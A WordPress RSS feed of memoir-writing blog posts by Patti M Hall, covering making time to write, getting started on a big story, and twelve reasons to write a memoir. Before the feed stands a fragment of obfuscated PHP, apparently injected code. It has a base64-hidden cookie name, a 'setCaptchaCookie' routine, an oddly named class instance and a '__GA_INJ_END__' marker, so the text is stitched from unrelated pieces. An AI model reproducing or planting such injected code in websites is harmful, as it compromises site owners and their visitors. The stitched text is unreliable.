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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ how to write my memoir | Patti M Hall https://pattimhall.com/tag/how-to-write-my-memoir/ Master Story Alchemist. The World Is Waiting To Hear Your Story Thu, 14 May 2020 19:08:45 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png how to write my memoir | Patti M Hall https://pattimhall.com/tag/how-to-write-my-memoir/ 32 32 Declare your Writing is Important https://pattimhall.com/declare-your-writing-is-important/?utm_source=rss&utm_medium=rss&utm_campaign=declare-your-writing-is-important Fri, 03 Mar 2017 00:38:51 +0000 http://pattimhall.com/?p=265 A client emailed me last week and said, “I have no time. It’s the same problem as always — no time.” When you start writing about your life, it feels like a luxury. It is that self-indulgent, time to yourself activity that you talk about the same way as winning the lottery or sailing around…

The post Declare your Writing is Important appeared first on Patti M Hall.

]]> A client emailed me last week and said,

“I have no time. It’s the same problem as always — no time.”

When you start writing about your life, it feels like a luxury. It is that self-indulgent, time to yourself activity that you talk about the same way as winning the lottery or sailing around the world….

It is something you said you MIGHT do someday…

when you retired

when you had a week off

after the kids were in school

but then life got in the way, right?

Yvonne wrote this, “I can’t get to the pages you wanted me to write, I can’t even get to the other things in my life.”

I get it. I understand. Just this morning before I lifted my head off the pillow I heard that voice (sounded a lot like me) saying you should be walking right now, you have to pull weeds, clean the cat box, empty the recycling, vacuum the living room, walk the dogs, return 72 emails, edit 14 pages ….

how are we supposed to feel rested, or like we can take 20 minutes away to write, when the list is bombarding us before we even open our eyes??

It happens for all of us who write, whether you are trying to life write for the first time, or you’ve been at it a dozen years full time like I have.

Here is the truth–

you don’t find time to write—you make time to write. 

How? By actively carving it out of your days, your family’s days and the life that you lead. 

There is no way around it, writing will drop to the bottom of the list until you declare it is

important

paramount 

significant

essential

imperative

When I say declare I mean to firmly stand up for your writing–it feels good and you want to do more of it, right—

so tell everyone, tell the universe and especially your kids and partner–those lovely beings we call family can be the toughest ones to convince.

Like my client wrote: “Everything else seems so much more important than writing in my journal about my life when I was six.” 

Unless you declare otherwise to yourself, and the world, this will continue to be true.

So…make it so… 

Tips for making writing important–

start with self-talk:

I’ve always wanted to do this, so I need this time. It is important to me. 

(Say this or any other affirmation as often as you need to.

Tip: Have a special book, a particular place to write, a favourite pen and say no to everything else while you are writing.

Tip:  Set Boundaries–you need them. Try this:  “when my bedroom door is closed I’m writing. I’ll be out in a half hour.” (Then slam the door and laugh your butt off)

try telling the people around you next:

This really feels important to me. I have discovered something I love. or if you have to–this will be for you someday (even though you have no intention of ever letting them read it).

Tip: Make it clear your notebook, journal or laptop is off limits to readers. If you are certain no one will read it, you are much more likely to write great stuff.

Tip:  Go at it with pleasure, not guilt. You aren’t abandoning the house, kids or pets…you are working on something you love, for you.

grab a Daily Trigger at www.triggeringmemories.com or download a page of our FREE printable stationary in our shop at http://www.triggeringmemories.com/bundles-feelings.html

and write what you remember, what you miss, what you wish you had more of…

WRITE. YOUR. LIFE

If you say it is important…it will be.

Make it so..

The post Declare your Writing is Important appeared first on Patti M Hall.

]]> Getting Started is the Toughest Part (Pt. 1) https://pattimhall.com/getting-started-toughest-part-pt-1/?utm_source=rss&utm_medium=rss&utm_campaign=getting-started-toughest-part-pt-1 Mon, 13 Feb 2017 12:18:21 +0000 http://pattimhall.com/?p=1165 Start with what’s easy. Start with the big story, and get the burst of energy that being productive on the page gives you. Tell your tale. Start there. Here is one way to get yourself writing today. Let me walk you through the way you can build up to telling your big story. Chances are…

The post Getting Started is the Toughest Part (Pt. 1) appeared first on Patti M Hall.

]]> Start with what’s easy. Start with the big story, and get the burst of energy that being productive on the page gives you. Tell your tale. Start there.

Here is one way to get yourself writing today. Let me walk you through the way you can build up to telling your big story.

Chances are that one particular story is the kernel of magic that everyone reacts to.

You know the one…

that story that gets people saying the “wow”s and “You should really write a book”s…

It might be exceptional, like:

you discovered your birth family after twenty two years…

you grew up living rustic in the Canadian north…

Or far too common, which means a gagillion people will relate to it:

you survived X…

you’re still surviving Y…

your way of looking at loss is incredible inspiration to others…

Start right there.

Write the story the way people hear you, when you aren’t overthinking how you tell it. Try this scenario with me. I’ll write about me, and you write about you.

Imagine you are having a glass of wine with a really nice couple from Maine, who you met in a hotel lobby in Reykjavik (yes, it happened to me).

You get to talking about the travel experience, the hotel, why you are there and they ask about you…

You start with a few minutes of description about your life.


“I never thought growing up that I would do anything very exceptional with my life. I was an average kid, in a backwater town, who couldn’t wait to bust out of there to get to the Big City.”

Then you go on to tell more of the story about how your situation was a result of cumulative choices and events. This is where you can go on a long time.

“I enrolled in the first program that seemed interesting.”

“My school happened to have a hospital on campus.”

“I’d had trouble with my knees for years.”

“Everyone said it was my imagination or it would pass if I just exercised more.”

Next, write about how that all felt. What kind of emotions were you having about this? What were you inspired to do? What action did you take? What was the result of your angst, despair, fear or frustration?

“It was the third doctor who diagnosed me, when he….”

OR

“I knew I might never get another chance, so…”

OR

“I wasn’t going to be held back by my parent’s idea of what I should be, so…”

Then going into vivid detail, using all the details of the scenes in your life, the multi-sensory experience of each crucial moment.

What was the room like?

What kind of day was it?

Who were you in dialogue with?

What was running through your head?

Try a few paragraphs today, using the bits and bobs from your story, told to the lovely couple from Maine, and leave me a comment…

The post Getting Started is the Toughest Part (Pt. 1) appeared first on Patti M Hall.

]]> 12 Reasons You Should Write Your Memoir Anyway https://pattimhall.com/12-reasons-write-memoir-anyway/?utm_source=rss&utm_medium=rss&utm_campaign=12-reasons-write-memoir-anyway Wed, 15 Jun 2016 15:47:08 +0000 http://pattimhall.com/?p=883 It’s time, right?  You’re ready to write about your life. You bought the gorgeous notebook, the beautiful pen, the tea is made, your butt is in the chair and then the really hard part begins… Telling the voices of criticism, doubt and skepticism to pipe down (especially the ones coming from inside your own head.)…

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]]>

It’s time, right? 
You’re ready to write about your life.
You bought the gorgeous notebook, the beautiful pen, the tea is made, your butt is in the chair and then the really hard part begins…

Telling the voices of criticism, doubt and skepticism to pipe down
(especially the ones coming from inside your own head.)

Do any of these sound familiar to you?

You’re not a writer!
Who’s going to read your story?
A memoir? You aren’t famous?
You can’t write that stuff!
What if no one ever reads it?
What if someone does read it?

Here’s my first piece of memoir coachly advice:

Give the same response to every comment, from every person.
Some of clients and writer pals use this one:
I’m writing my memoir anyway.

Make it your mantra.
But when you need to, dive into these twelve reasons (and a bonus one!), every time the noise in your head challenges you for an answer to one of these questions.

2016-01-31-1454277931-6131706-womanwritingphoto.jpg

Why write about your life?

12. To find you: You won’t know how brilliant you are until you see yourself on paper where you’re honest, not judging yourself and no one is watching.
Write to hear your voice.

11. To find the next step on your path: To consider where to go next, it helps to understand how your past choices got you to today.
Write where you’ve been.

10. Because there is value in remembering: You write, and you remember. Writing pulls from places we don’t visit in our daily lives.
Write to remember.

9. Because you’re bound to learn something: Writing about your life gets you to wondering why something happened, or how you got this way.
Write to dig deeper.

8. To feel better: Your story may have some pain in it. On the page the fear is gone, the sting relieved.
Write to get through the tough parts.

7. Because you have a lot to be grateful for: You’re fortunate—in your country, living in this time, being loved.
Write to tap into your gratitude.

6. To pass on some enlightenment: You’ve learned a lot in your experiences, travels, and relationships. You’re a warehouse of wisdom.
Write to share your message.

5. To show the rest of you: There is more to you than parent, worker, sibling and friend. You have opinions, feel passionately, and live with your heart.
Write to show your full self.

4. To share the strength and the failures: If you decide to let someone read your writing, (and you don’t have to) you just might spare your reader having to learn the hard way.
Write to share your story.

3. To get your side of things on the record: There is always someone who tells a version of the truth that simply isn’t how you remember it.
Write to tell it your way.

2. To leave a piece of yourself behind: Our writing lives on, is savored and treasured by others and has a depth of connection our loved ones crave.
Write to leave a piece of yourself for someone.

1. Because you can. We are the only species that can communicate this way. Studies prove that the physical experience of pulling our stories, finding our words, and sifting through our memories releases the bliss chemicals.

That’s the bonus: 

Write because it feels so good.

And remember this response for all the naysayers…
“I’m writing my memoir, anyway.” 

originally published in Huffington Post

The post 12 Reasons You Should Write Your Memoir Anyway appeared first on Patti M Hall.

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